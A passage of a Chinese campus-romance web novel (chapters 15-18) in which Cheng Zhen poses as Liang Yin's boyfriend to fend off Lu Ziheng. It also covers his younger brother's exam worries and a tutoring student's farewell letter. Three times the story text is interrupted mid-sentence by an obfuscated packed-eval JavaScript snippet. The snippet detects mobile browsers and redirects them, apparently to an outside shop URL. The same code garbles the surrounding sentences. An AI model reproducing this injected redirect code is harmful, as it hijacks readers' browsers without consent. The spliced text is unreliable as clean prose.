周静雨有点儿不好意思了，转过去不理她，对着镜子比划了一下，最后还是选了梁因说的这一件。 “走吧。” 梁因随手抓了一件奶油蓝T恤换上便跟周静雨挽着手臂出了门，只是总觉得有点儿不自在，走到一半才忽然反应了过来：“呀，我眼镜没摘。” 梁因戴的是蓝光眼镜，只有平时对着电脑的时候才戴，怪不得刚才觉得哪儿有些别扭。 “让你体验一下我的感受。”周静雨抬手扶了一下自己的眼镜，“一会儿你摘了放那儿好啦。” 梁因点点头，到了场馆之后，先摘了眼镜放到了一旁的长桌上，旁边零散地放着几个包和水杯之类的物件。 到场地的时候梁因看了一圈，今天程臻没来。 “哎呀，程臻是不是没在啊？”周静雨也伸长脖子张望了一番，转向梁因，“好可惜。” “有什么可惜的。”梁因失笑，轻轻扶着周静雨的肩膀让她转了小半圈，“喏，你的社长在那儿呢，去打个招呼？” “什么我的啊……”周静雨深吸一口气，“别乱说，万一被别人听见了。” “那我悄悄说。”梁因把下巴搁在周静雨肩上，在她耳边小声说话，“不去跟你的社长打招呼吗？” “……你讨厌。”周静雨抿了抿唇犹豫了一会儿，转头看梁因，“那我，去了啊？” 梁因笑眯眯点头：“去吧去吧。” 虽然一开始梁因加入弓箭协会是为了陪周静雨，但试了几次之后，她倒是逐渐生出了几分兴趣。 站在箭道上拉弓瞄准靶心，哪怕最后的成绩未必理想，但松手让箭离弦的那一刻，她确实体会到了一种沉浸在自己的小小世界里畅快解压的爽感。 痛痛快快出了一身汗，梁因和周静雨坐着休息了一会儿，沈铭川有事先走了，剩下没有她们两个认识的人，缓了缓编收拾东西准备回去。 “你眼镜别忘了拿啊。”周静雨提醒道。 “我记得呢——诶？” “怎么了？” “我眼镜呢？”梁因看着桌面，原本她放眼镜的地方放着的不是她的那一副，她有些不确定地转头看周静雨，“我刚才是放这儿了吧？” “对啊，我也记得是。”周静雨凑过来看了一眼，“这副跟你的长得有点儿像，是不是被谁拿错了啊？” 周静雨跟梁因对视一眼：“你要不在群里问一下？” “行。”梁因点点头，“那你帮我跟社长说一声，让他帮我艾特一下大家？” “好。” 一直到傍晚梁因才收到消息，林砚在群里发了张照片，问梁因是不是这一副，道了歉说是自己装东西的时候不小心拿混了，又说她什么时候有时间他送过来。 梁因：【没事儿，你的那一副还在桌上我没有拿，等下周你再带给我就好啦～】 林砚秒回了个“没问题”，然后又跟了个不好意思挠头的表情。 梁因按了个小猫歪头的表情包，随即退出了微信，然而没过一会儿又收到几条未读消息，她点开，来自程臻。 程臻：【你那副眼镜我从林砚那儿拿来了】 程臻：【明天上课的时候我带给你】 15. Chapter 15 梁因先是一愣，随即弯唇笑了。 原本她还在纠结要不要提醒程臻一下别忘了明天来陪她上课，现在看起来倒是不用了。 梁因于是应了声“好呀”，发了个感谢的表情包过去。 想了想，梁因又发了句“那明天见哦”，程臻的回复依旧简洁，只一个字“好”。 然而梁因稍有些没想到，明明只是陪她去上课，算好了时间打算卡点到的梁因才刚从寝室出发，程臻已经给她发了条消息，是一张坐在教室里拍的照片，然后配了一个精准的定位—— 程臻：【里面靠窗，倒数第三排走道】 梁因看到消息时刚走到半路，回复了一条之后，不禁加快了脚步，进教学楼时隐约有些冒汗。 梁因：【来了来了】 梁因：【奔跑.gif】 一阵小跑赶在上课铃响前几分钟从后门进了教室，梁因一眼便看见程臻，快步走了过去。 程臻占了个好位置，属于选修课的“兵家必争之地”，见梁因过来，他便把放在旁边座位上的包拿起来往里挪了个位置，让梁因在靠走廊的座位坐下。 梁因坐下之后气还没完全喘匀，把包抱在怀里吐气，随意地一抬眼，便对上两点钟方向，面无表情转头看着她的陆子恒。 梁因：“……” “给，你的眼镜。”程臻把眼镜推到了梁因面前，“不用理他。” “啊，谢谢。”梁因接过道了声谢，转头看他，“嗯？” “他刚才已经看了我一会儿了，估计是教室里人多吧，他没过来。”程臻说完，又瞥了陆子恒一眼。 梁因也忍不住又看过去，也不知道是他们两个坐在一起说话，还是程臻把眼镜给梁因的动作刺激到了他，陆子恒的脸色更黑了几分。 不过梁因并不怎么在意他，只看了一眼便收回目光转向程臻——因为她发现了件更吸引她注意力的事。 “怎么了？”程臻看着欲言又止的梁因。 “你今天怎么没穿黑色啊？”梁因抬手指了指他身上的灰色短袖。 程臻：“……” 脑海里回溯到今天出门前换衣服时，他拉开衣柜门，手已经拿了件挂在最外面的黑色T恤，动作却忽然一顿，无端想起了梁因之前的问题。 于是程臻停顿两秒，还是把衣服放了回去，换了件灰色的T恤。 程臻一挑眉，重新对上梁因的视线：“褪色了。” 一听就是胡诌的回答让梁因没忍住笑出了声，下一秒上课铃声响起，她便没再跟程臻聊天，从包里拿出了自己的电脑。 明天就轮到她做展示，梁因得抓紧时间多熟悉熟悉自己的ppt，而专业课她是万万不敢一心二用的，只能在选修课上偷偷摸鱼。 老师进教室的第一件事便是点名，选修课的出勤率本就占平时成绩的很大一部分，而这位和蔼的女老师几乎从不提问或者小测，听说期末也只是要求写一篇小论文，被学长学姐亲切地称为菩萨。 把电脑放在桌上，梁因听了一会儿课，转头瞥一眼程臻，他一只手撑着脸颊，另一只手正一下一下把放在桌上的手机翻面玩儿。 梁因在他注意到自己的目光前转了回来，戴上眼镜打开了电脑。 明天上课要做展示的ppt还没完全做完，做完之后还要从头顺几遍腹稿——想到这里梁因便觉得时间紧迫，在心里默默跟台上的老师道了个歉，点开了桌面上未完成的ppt继续加工。 ppt的文本部分只差一个收尾了，梁因写完之后按下保存键，从头又检查了一遍，做了些小小的修改。 大功告成，梁因松了口气，才想起身旁坐了个程臻，于是转头打算看一眼他在干什么。 然而她只看见了一颗黑色的毛茸茸脑袋埋在手臂上——程臻睡着了。 梁因眨了眨眼睛，没忍住弯起唇角笑了，偏头看着他观察了一会儿。 程臻似乎是把额头枕在了手臂上，这个角度梁因看不到他的脸，于是看了一会儿他柔软又蓬松的头发，片刻后便收回了视线。 看了看时间，距离课间已经没几分钟了，梁因把电脑合上一半又喝了口水，往后靠在椅背上听了一会儿课，下课铃声很快响起。 老师于是宣布下课休息，梁因身旁睡得正香的人也动了，眯着眼睛抬起了头。 闭目清醒两秒之后，程臻抬手按着后颈放松了一下脖子，随即转过头来问梁因，语气懒懒散散的：“下课了？” “嗯，课间了。”梁因应道，冲他示意了一下手里的杯子，“我去接个水。” 程臻点点头，握起拳头轻轻敲了两下脖子，又转了几圈之后才舒服一些，随即拿起手机解锁看了看，忽然听见了自己的名字—— “程臻？！” 他一愣，抬头。 喊他的是他班上的一个女生，叫沈熙，应该是也选了这门课，不过刚才程臻没看到她。 “真的是你啊，我还以为我看错了。”沈熙笑着开口，目光落到了他身旁空座位上的电脑，“你也选了这门课啊？可是我今天好像是第一次看到你诶——你是一个人吗？” “不是，我没选这门课。”程臻摇摇头，余光瞥了一眼教室打开着的后门，“我是陪人来的。” “啊？”沈熙一愣，“陪——” 陪谁啊。 后两个字被沈熙咽回去了，她注意到了程臻的目光，于是也转头看向了后门口，只见一个女生拿着水杯，从后门小跑着进来，发尾和衣摆轻巧在空中划出好看的弧度。 梁因一进来便看见她座位桌子旁边的走道处站了个女生，她不认识，那么估计是跟程臻认识，梁因走过去在座位上坐下，冲她弯唇笑了一下，随即又转头看程臻。 “我班上的同学。”程臻道。 他没跟沈熙介绍梁因是谁，不过既然程臻没选这门课，又说是“陪人来的”，他们的关系自然显而易见—— 沈熙眨眨眼睛，笑了笑也没多问：“好，那这样的话，我就不打扰你们啦。” 目送她离开，梁因收回目光看程臻：“打扰什么？你们刚才是在说什么重要的事情吗？” “没有。”程臻摇摇头，从口袋里摸出一盒薄荷糖，在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14290718|151946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手心里倒了一颗送进嘴里，盖盖子的手一顿，问梁因，“吃吗？” “啊——吃。”梁因点点头，摊开手掌。 “她说她之前没见过我，问我是不是选了这门课，我说我陪人来的。”程臻在她手心里倒了颗圆滚滚的糖，瞥了一眼梁因的杯子，“你接完水了？” “对啊。” 程臻印象里这一层的饮水机好像不在这间教室这边：“还挺快。” “我跑过去又跑回来的。”梁因把糖吃进嘴里，酸酸甜甜的味道蔓延开来，是西柚味的，“我可不想遇到某些人。” 说完她下意识瞥了一眼陆子恒的方向，发现他并不在座位上。 “遇上也没事儿。”程臻看了看手机，点了几下之后按下锁屏倒扣在了桌上，一副又打算睡一觉的样子。 “你又睡啊？” 程臻挑眉，不咸不淡看她一眼：“我不能睡？” “不不不，您睡。”梁因连忙摇头，笑眯眯地说道，“我特别安静的，不会吵你，等到下课了我会喊你的——放心。” 第二节课程臻只睡了二十分钟左右，他坐起来的时候，梁因还差点以为是自己把腹稿念出声吵到他了。 她看了程臻片刻，见他没有继续睡觉的样子，拿着手机看了一会儿，划了划屏幕回复了几条消息，然后甚至抬起头，认认真真地听了会儿课。 一直到下课，梁因关了电脑收拾东西，余光里的程臻一动不动，她看过去，才后知后觉地发现他只带了手机和一瓶水。 于是梁因忙不迭加快了手上收拾的动作，拉上了包的拉链起身：“好啦，走吧。” 两人便一前一后就近从后门走出教室，走廊靠栏杆处站了个人，梁因脚步一顿，无声地叹了口气——该来的还是来了。 陆子恒看着他们两个出来，只瞥了一眼程臻，目光又落在梁因身上。 “所以你就是跟他在一起了？你们其实早就——” “稍等一下。”程臻慢悠悠上前一步，打断了陆子恒的话，“在你问她这些问题之前，我有一个问题想插个队。” 陆子恒皱起眉，丢过去一个“你又要干什么”的眼神。 “你是她谁啊？”程臻懒懒地笑了，一只手放在口袋里，“我记得你跟她没什么关系吧？那你有什么资格在这儿问梁因跟没跟谁在一起？” 陆子恒咬着牙瞪他：“我在问她，跟你有什么关系？” “她现在站在我旁边啊。”程臻转头看了梁因一眼，她依然切换成看戏状态，咬着下唇跟他对视，看起来有点儿像是在憋笑。 “怎么，这还不能证明她选了我？”程臻收回目光，“还是你以为你一直在我们面前晃悠，她就会忽然回头看上你？听我一句，消费可能会降级，但是审美不会。” 梁因低下了头，看看地砖看看鞋转移自己的注意力，紧紧咬着嘴唇怕笑出声。 陆子恒被他说得懵了两秒，随即皱起眉：“你他——” “哎哎。”程臻轻飘飘地再次打断，“少骂人少说脏话，很扣分的。” 陆子恒：“……” 16. Chapter 16 程臻说话时的语速不快，刚才的那几句话还是带着笑意说的，并没有什么咄咄逼人的味道。 而他停顿一会儿，缓缓收了笑意看着陆子恒时，脸色便冷了下来，又变回了他看起来的那个生人勿近的样子。 “而且你总是出现在梁因面前，我不管你到底想干什么，但你已经对她造成了困扰。”程臻停了两秒，又一字一顿开口，“我也很不高兴。” 说完他又往前迈了一步，程臻要比陆子恒高一些，逼得他不得不后退。 “以后你要是有什么事儿，少打扰她，直接来找我。”程臻微一偏头，垂眸看着陆子恒的眼睛，表情淡淡，“我随时奉陪。” 这次交锋以陆子恒说自己一会儿还有课，并又撂下一句口头上的狠话告终，梁因看着陆子恒转身快步走入人群，终于长吐了一口气，没忍住笑出了声。 真好啊，她都不用开口。 于是程臻回头时正对上梁因也看着他的视线，她唇角还上扬着，笑得眉眼弯弯，看向他的眼神亮晶晶的，像块儿看着就甜的水果糖。 程臻看她两秒，随即转开了目光，轻轻一偏头道：“解决了，走吧。” 梁因笑嘻嘻地点点头，跟他一块儿下楼。 一路上两人都没开口说话，梁因还在回味程臻刚才的妙语连珠，说得她都一愣一愣的，也不知道他怎么想到的那些台词，说的时候居然还能一本正经地忍住不笑。 程臻把手机拿在手上，从走出教学楼开始就连着振动个不停。 他点开微信，程钧给他发了一连串消息，连着好几条语音和刷屏似的哭泣倒地表情包。 “哥哥——” 程臻原本想按语音转文字，一不小心把第一条语音播放了出来，一声听起来颇为撕心裂肺的“哥哥”猝不及防地冲了出来。 梁因本无意窥探别人的隐私，在程臻看消息的时候便已经把头扭到一边去了，结果被这一声给吓了一跳。 程臻眼疾手快地按停了，一抬头便对上梁因睁大的眼睛。 “不好意思啊，是我弟弟。”程臻解释道，随即又想起了什么，“你见过的。” “嗯，对，我记得的。”梁因点点头，想了想还是试探地问道，“他怎么啦？” “没怎么。”程臻在一堆痛哭流涕的表情包里挑语音转文字，一边答道，“爸爸妈妈不让他吃零食，爸爸妈妈不让他玩手机或者游戏机，他考砸了或者闯祸了——无非就这几样。” “啧。”程臻扫过一条转出来的文字消息，虽然程钧的口齿不算很清楚，还掺了好几个哭泣表情包，但大意他还是能看明白的，微一挑眉，“果然，开学的摸底考试考砸了，挨骂了。” 脑海中浮现出程钧的样子，虽然只有一面之缘，但梁因对这个小男孩还是有些印象，此刻便有些忍俊不禁：“你弟弟应该还在念小学吧？” 程臻点点头。 “所以他就来找你求助？” “对，不过我也没什么办法，我也帮不了他，又不能替他去考试。”程臻这么跟梁因说完，却拿起手机靠近嘴边，发了两条语音。 “好了，别哭了，我周末回来。” “这两天自己乖一点，我给你带马卡龙。” 哎呀——怪不得程钧会跟他这么撒娇呢，果然其实是个嘴硬心软的好哥哥嘛。 梁因心里想着，又转过头去瞥了一眼，程臻已经回完消息了，按了锁屏把手机拿在手里。 “哄好啦？” 程臻没有立刻回答，随即勾了勾唇角：“差不多吧，小孩儿忘性本来就大，一会儿估计就不记得了。” 梁因没有兄弟姐妹，没体验过这种哄或者被哄的感觉，不过从三言两语间也能得出结论，程臻和程钧想必是一对关系相当不错的兄弟。 “你弟弟还挺粘你的。”梁因说完便转头观察程臻的表情，要是他不想和她聊家事，那么她就可以及时地终止这个话题。 “是吗？”程臻放空了一会儿，不知道在想些什么，好半晌才极轻地笑了一声，“大概吧。” 程钧年纪小，他还在念小学，而程臻已经是大学生了——这个年龄跨度对他来说是巨大的，简而言之就是“小孩”和“大人”的区别。 程钧会被爸爸妈妈管着不准挑食、早早睡觉不准熬夜、不能玩太久手机电脑，诸如此类，而程臻是“大人”，可以不用遵守这些规矩。 程钧一直以来都很羡慕他，羡慕程臻比他更自由，不会被管束，羡慕他不用再像自己一样被成绩压得喘不过气——哪怕程臻告诉他初中高中可能会更辛苦，但程钧选择捂起耳朵不听。 可程臻是他的哥哥，程钧又天然地觉得，虽然程臻有时候也会对他严厉也会批评他，可他们两个是站在同一条战线上的。 于是被爸爸妈妈骂了可以去找哥哥，想吃什么想要什么了可以去找哥哥，过不了关的游戏可以去找哥哥，不敢告诉爸爸妈妈的事情也可以去告诉哥哥——总而言之，在程钧眼里，哥哥可以帮他解决一切麻烦。 这些程臻都知道。 他没法辜负小男孩期待又天真的眼神，看他的时候总带着些毫不掩饰的崇拜，一次又一次扯着他的衣袖拜托他，得到肯定的答复后无比高兴地大喊“哥哥万岁”，说他是全世界最好的哥哥。 周末，全世界最好的哥哥准时回家。 他一进门，程钧就踩着楼梯“蹬蹬蹬”从楼上跑下来，俨然一副翘首以盼许久的样子，一头扎进程臻怀里。 “哥哥！” 程钧全然没了那天给他打电话时委屈巴巴的样子，甚至程臻把手里提着的马卡龙拿给他的时候，小男孩一副惊喜的样子。 “回来啦？”钟娴从房间出来，垂眼见程臻手里提着的甜点，轻叹一口气，转向程钧，“小钧，是不是你缠着哥哥买的？前阵子喊牙疼的时候怎么说的？” “没事儿，妈，反正我买得也不多。”程臻揉了一下程钧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14304366|151946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的后脑勺，“控制一下少吃点就行。” 程钧抱着程臻的腰连连点头，冲钟娴眨了眨眼睛：“我就吃一点点。” “就你哥宠着你。”钟娴看了一眼时间，板了板脸，“行了，你哥刚回来，别缠着他了，今天给你布置的题做完了没有？一会儿我要过来检查的啊。” “哦……”程钧眼巴巴地看了看程臻，又眼巴巴地看了看他手里的马卡龙，瘪着嘴递了个眼神给他，然后便转头回楼上房间了。 程臻把马卡龙放在了桌上，客厅里只剩下了他和钟娴。 “妈。”程臻转头四下看了看，“爸呢？” “他在楼上书房，开会呢。” 程臻点点头，回想起刚才程钧看他的眼神，走到厨房岛台给自己倒了杯水，开口道：“听说小钧这次没考好？” 说到这个钟娴便叹了口气：“你一提我就来气，就是这回摸底考试，班主任来老师给我打电话，说小钧在班里退步了十名！” “没事儿，他还小呢。” “不小了，都快要小升初了，小钧一点儿也不像你，从来没让我操过心。”钟娴摇了摇头，“我打算给他请个家教，好好针对性地补一补。” 程臻一挑眉：“家教？” 钟娴点点头：“对，我听人给我推荐了几个，准备约着国庆来家里试一下课。” 程臻握着手上的杯子，食指轻轻摩挲两下杯子不规则的磨砂杯壁，斟酌着开口道：“小钧的功课，我应该还是可以看一下的。” “没事儿，不麻烦你。”钟娴说完，便看见程臻拿着杯子的手顿了顿，连忙又道，“妈妈的意思是，你平时自己的事儿也挺忙的，就不占用你时间了，周末的时候好好休息休息也好。” “嗯，我明白。”程臻沉默了两秒点点头，很轻地笑了一下，随即放下了杯子，手指在岛台桌面上轻轻划过，“那我就先回房间了。” 钟娴连忙点点头：“好，你快去吧。” 程臻上楼回到了自己的房间，开了灯后把包随手一放，随即拉开椅子坐下。 确实稍微有点儿累了，程臻往后靠在了椅背上，心想。 他从小成绩确实就一直很不错，虽然不是每次都考第一的类型，但也算是名列前茅，偶尔也有波动，总体而言仍然是老师和家长眼中十分放心的好学生。 钟娴说得没错，他们从不操心程臻的成绩，因为他相当自觉，没什么需要操心的，也因为他们实在繁忙抽不开精力他的学习，就连家长会也一直都是爷爷奶奶去参加的。 放在桌上的手机忽然亮了几下，显示的是微信消息。 程臻于是点开软件，消息来自他的寝室群，有人在群里艾特他。 往上翻了翻，程臻在满屏表情包和无意义的问号感叹号里找到了一石激起千层浪的源头——李彦航，他的室友，艾特了他，然后跟了一句话。 李彦航：@程臻你什么时候背着我们偷偷谈恋爱了？？？ 17. Chapter 17 ……什么乱七八糟的。 程臻皱起眉，按了个问号发出去。 本尊出现，群里于是更热闹了几分——李彦航直接引用了程臻发的那个问号，继续他的控诉。 李彦航：你还不承认？ 李彦航：还拿不拿我们当兄弟了啊！ 李彦航：可都有人看到了啊，你赶紧老实交代！ 看到？看到什么了？ 程臻打字的手忽然一顿，意识到了什么。 果然，李彦航发了个表情包，问程臻周四下午说“有事儿出去一下”是不是就是陪女朋友去上选修课了。 其余两人乐乐呵呵地看热闹，闫旭和夏思扬一人跟了一个好奇“哇哦”的表情包。 李彦航：人拐弯抹角找我来确认，说在选修课上看到你跟一个女生一块儿，问我那是不是你女朋友！ 李彦航：解释吧。 他们寝室四人关系还不错，但并不至于谁出了门都要刨根问底去哪儿，所以其余三人并不知道程臻周四出门是去陪梁因上课。 闫旭：谁啊？ 李彦航说了个名字，是他们班上的一个女生。 程臻随即把输入框里的字删了，重新打字：你怎么说的？ 李彦航：我没回呢，我啥也不知道啊回什么！ 李彦航：你别废话，到底怎么回事儿赶紧如实招来。 程臻一挑眉，艾特了一下闫旭。 闫旭：？ 程臻：你记不记得我陪你去交资料那天，在女生宿舍那里看到陆子恒缠着一个女生？ 闫旭：想起来了 闫旭：所以她就是你女朋友啊？？？ 闫旭：我靠，原来是冲冠一怒为红颜的剧本啊！！！ 程臻：…… 他的“不是”和“没有”被淹没在了消息里，这件事情除了闫旭之外，其他两个室友并不知道，于是群里进入了科普时间，闫旭作为主讲人，干脆放弃了打字，连着发了好几条语音。 程臻有点儿无奈，见缝插针地发了条消息，随即便去洗澡了。 等他从浴室出来之后，群里白热化的八卦讨论暂时告一段落，终于有人想起来问程臻到底是怎么回事。 程臻：陆子恒缠着她，我顺手帮她解了个围，刚好她找我帮忙，我就答应了，就这么回事儿。 闫旭：帮忙？ 程臻：陪她上选修课，在陆子恒面前演一下她男朋友，让他别烦 群里沉默了几秒。 李彦航：……就这样？这也行？ 夏思扬：听起来很离谱，但发生在我们程哥身上又很合理 闫旭：也是 闫旭：毕竟脸在江山在［/咬牙］ 程臻：你们听过就忘了，别出去乱说，统一一下口径 闫旭：统一成啥呀？ 李彦航：@程臻是啊，所以这消息我怎么回啊？ 李彦航：就说你有女朋友了？ 李彦航：我也不知道她是自己想知道还是替别人问的，不过问这个估计是喜欢你吧？ 夏思扬：羡慕 夏思扬：咱们班里院里喜欢程哥的女生可不少呢 闫旭：羡慕+1 李彦航：+2 程臻：…… 程臻：@李彦航你先等会儿，我去问她一声 李彦航：哦哟 闫旭：哦哟 夏思扬：哦哟 程臻无视了三人的八卦，退出群聊找了找梁因的对话框，点开给她发了条消息：在吗？ 收到消息时，梁因正在寝室刚吃完外卖，准备下午去何诗瑶家给她上课。 梁因：怎么啦？ 程臻：有个事儿可能要麻烦你帮个忙，先问一下你的意思 梁因咬着筷子尖，脑中警铃大作——他什么意思？他会有什么事情要她帮忙？ 好吧，虽然是她自己说过，程臻要是有什么需要可以来找她帮忙，但这也来得太快了吧？梁因一阵心虚，他的校园跑她还一次都没帮他跑过呢…… 思绪拐了好几个弯，梁因谨慎地发送了回复：你说 程臻：有人误会你是我女朋友 程臻：你介不介意默认一下？ 两条消息来得很快，梁因眨了眨眼睛，很快反应了过来。 梁因：哦 梁因：帮你挡桃花是吗？ 程臻：……差不多 梁因：没问题，包在我身上［/OK］ 这个忙对梁因来说合情合理，和她最开始找上程臻的目的异曲同工，她便十分爽快地答应了下来。 程臻很官方地回了句“好，谢谢”，对话便就此告一段落。 于是梁因便把手机放到了一边，继续在电脑上打字。 今天是梁因给何诗瑶上的最后一节课，她从前几天就开始一点点给小姑娘整理自己觉得有用的学习、复习和做题技巧，又列了何诗瑶现在还容易犯的错误，以及相应地，以后如何可以改正提高。 好不容易卡着快出发之前的时间点全部写完，梁因又通读检查了一遍，把文档发给了何诗瑶，说一会儿要给她讲一下这个。 何诗瑶显然没想到梁因会给她准备这些，连发了好几个感叹号和各种各样感动捧心哭泣表情包，把梁因逗笑了。 梁因选了个摸摸头的表情包发送，又跟了句“一会儿见”。 梁因跟何诗瑶相处了一共不到一年的时间，她们的关系很不错，忘了从哪天开始，何诗瑶对她的称呼就从老师变成了姐姐，平时小姑娘也偶尔会问她学习之外的问题，也偶尔会找她聊天。 两个人都有点儿舍不得。 今天梁因拖了会儿堂，何诗瑶不太好意思地给她塞了个信封，说是让她拿回去再看。 信封很好看，是渐变色的，还用了火漆印章封口，梁因拿在手里看了好一会儿，点点头认认真真收进了包里。 虽然答应了何诗瑶，但梁因在回学校的车上就有些忍不住了，于是从包里拿出信封，又翻来覆去欣赏了一会儿，才小心翼翼地一点一点撕开了火漆印章。 信封里装了一张折起来的信纸，是和封面配套的漂亮渐变色，展开后，里面是何诗瑶娟秀的字迹。 第一行是称谓，她写的是“To梁因姐姐”。 “刚开始写的时候我纠结了半天到底应该写梁老师还是姐姐，最后还是选了姐姐，这样显得更加亲近一点，嘻嘻。 “特别特别谢谢姐姐！虽然算了一下，原来才认识姐姐不到一年，但感觉已经有好久了……我真的学到了特别多，你说的做题技巧还有平时复习的方法都特别有用，而且我之前一直很害怕做完形填空，但是慢慢已经好多啦，成绩也在稳步提升中。 “另外，也要特别谢谢姐姐愿意花时间解答我生活上的一些其他问题，也愿意听我的一些乱七八糟的想法。姐姐，你知道吗，我一直觉得你特别好看，也特别厉害，有的时候会忍不住羡慕你，会想，要是我长大之后也能像你一样就好了…… “有点扯远啦！总之，虽然还是很舍不得姐姐，不过你上次说我可以在微信上找你，我记住了，你可不要嫌我很烦哦。最后，祝姐姐不论如何都可以开开心心的，一定要对自己好一点，如果可以的话，希望之后还可以见面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314578|151946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ～” 署名是何诗瑶自己的名字，旁边还画了一个简笔画笑脸，点缀着一颗用红笔涂满了的小爱心。 梁因捧着手上薄薄的信纸，一边看一边勾起唇角笑着，眨了眨眼睛，只觉得鼻尖也隐隐有些泛酸。 她转头，包上挂着的小星星挂件正面对着她，是何诗瑶送她的礼物——而付出能被看重，能被喜爱，并被报以同样的真心，本来就已经是一份足够珍贵的礼物。 小心地把信叠好收起，梁因并不打算立刻回复，准备选个时间再认认真真地给何诗瑶写一封回信。 周末的空闲时间梁因更愿意窝在寝室，于是她回来的第一件事便是去洗了个澡，换上家居服舒舒服服地点了个外卖，在等待的时间里见缝插针地完成了一个周一要交的小作业。 梁因周一有三节专业课，距离晚饭前的选修课有一节课的空余时间，她便没有回寝室再来回折腾，直接留在了教学楼的公共区域学习，提早到了选修课教室。 程臻没给她发消息，梁因进门后张望了一番，教室里人还不多，陆子恒也还没来。 非常好——梁因松了口气，选了个后排靠墙得天独厚的“摸鱼位”。 梁因：［图片］ 梁因：倒数第二排靠墙 程臻的回复直到前一节下课铃响才姗姗来迟，一个简洁的ok表情，而他本人则在梁因第三次被询问身侧放包的位置是否人后，风尘仆仆地出现在教室后门。 他今天背了个包，梁因连忙把自己的包拿起来让他坐下，转头看他时，见程臻微微有些喘。 “我刚有课。”他回视，似乎是猜到了梁因想说什么。 “教室很远吗？”梁因睁大了眼睛，语气紧张起来，“你不会是从特别远的那几个楼跑过来的吧？” “没有，就在隔壁西楼。”程臻摇摇头，“刚才老师有点儿拖堂了。” 梁因松了口气：“那就好。” 程臻把包放进桌板里，拉开拉链从里面一样一样往外拿东西——笔袋，笔记本，iPad。 梁因看了他一会儿，随即收回目光在教室里张望一番，随口道：“陆子恒今天好像没来啊？” 程臻手一顿，看她一眼：“这么关心他啊？” 梁因被他的话一噎：“我关心谁都不会关心他，没来最好，一直都别来更好！” 程臻拉开笔袋，从里面拿出一支黑色水笔：“那你要失望了，我刚才是跟他前后脚上的楼梯。” “嘶——”梁因皱起眉，“他烦你了吗？” 虽然说是她自己找程臻帮忙摆脱陆子恒的，但如果因此给他带来了麻烦和困扰，梁因心里也是过意不去的。 程臻捏着那根细细的黑色水笔，在手里转了两圈，转过头去看着梁因。 刚才上楼梯的时候，其实程臻没看见陆子恒，是他先喊了他的名字，问他是不是来陪梁因上课的。 程臻没给他好脸色，陆子恒轻哼一声，看了他一会儿，忽然开口：“那天你也看到了，梁因她到现在还跟我不清不楚的，转头就去跟你在一块儿了——你觉得，她就是什么好人吗？” 陆子恒说这话的时候一本正经的，表情神色看上去竟仿佛他是站在程臻这边的，是真的在替他着想。 不知道陆子恒为什么调转了方向来从他这里下手，程臻并不在乎，也实在懒得多看一眼他这副虚伪的样子，理都没理一句，便从他身边径直走开。 上课铃声忽然响起，拉回了程臻飘远的思绪。 这种话要是转述给梁因听的话纯属多余，程臻于是对上她的视线，轻轻摇了摇头：“当然没有。” 18. Chapter 18 听到程臻否认，梁因随即放下心来松了口气：“那就好。” 谁知道事情会变成这个样子呢，就连个选修课她都上不安生——梁因缓缓叹了口气，在心里批评了一番当初被陆子恒装出来的表象蒙蔽的自己，幽幽得出一句感叹。 “果然还是不能以貌取人，表面上千好万好的，剥了这层皮，谁知道里面是什么。” 程臻微微一挑眉，转头看她。 梁因跟他对视两秒，猛地反应过来，连忙道：“我不是在说你啊！你人帅心善，真的，你特别好，你是大好人！” 程臻唇角微勾，他其实倒没这意思，不过还是顺着她的话问道：“你怎么知道我就是好人？” “你……肯定是吧？你就是！”梁因眨了眨眼睛，笑了，“我已经吃一堑长一智了，现在的眼光肯定没问题。” 程臻低笑一声，算是接受了梁因的这个答案，便没再搭腔，收回视线把iPad支了起来，准备趁着这个时间整理一下刚才专业课上的笔记。 写了一会儿，只觉得旁边时不时飘过来一道视线，程臻抬头看了一眼讲台上的老师，然后才转头看向坐在旁边的梁因—— 她面前放了本书，打开着，中间夹了一根水笔，这显然是用来做样子的，因为她一只手撑着脸颊，眼神正一下下往他这边瞟。 梁因学的是语言，纯文科专业，实在是有点儿好奇程臻的课程内容，但也知道未经允许就凑过去看人家的iPad屏幕并不礼貌，于是只打算随意瞥两眼满足一下好奇心。 然而没想到下一次偷看竟然被抓包，梁因猝不及防对上程臻的视线，有些心虚地放下手稍稍坐直了些：“……” 只是课堂笔记和ppt而已，不是什么个人隐私内容，程臻勾了勾唇角，把iPad的角度调整了一下，稍微往梁因那边转了转。 虽然只转了一点点，但实际上是向梁因释放了一个“可以看”的信号，于是梁因便凑过来了些，看屏幕上她刚才余光瞥见的花花绿绿的图表。 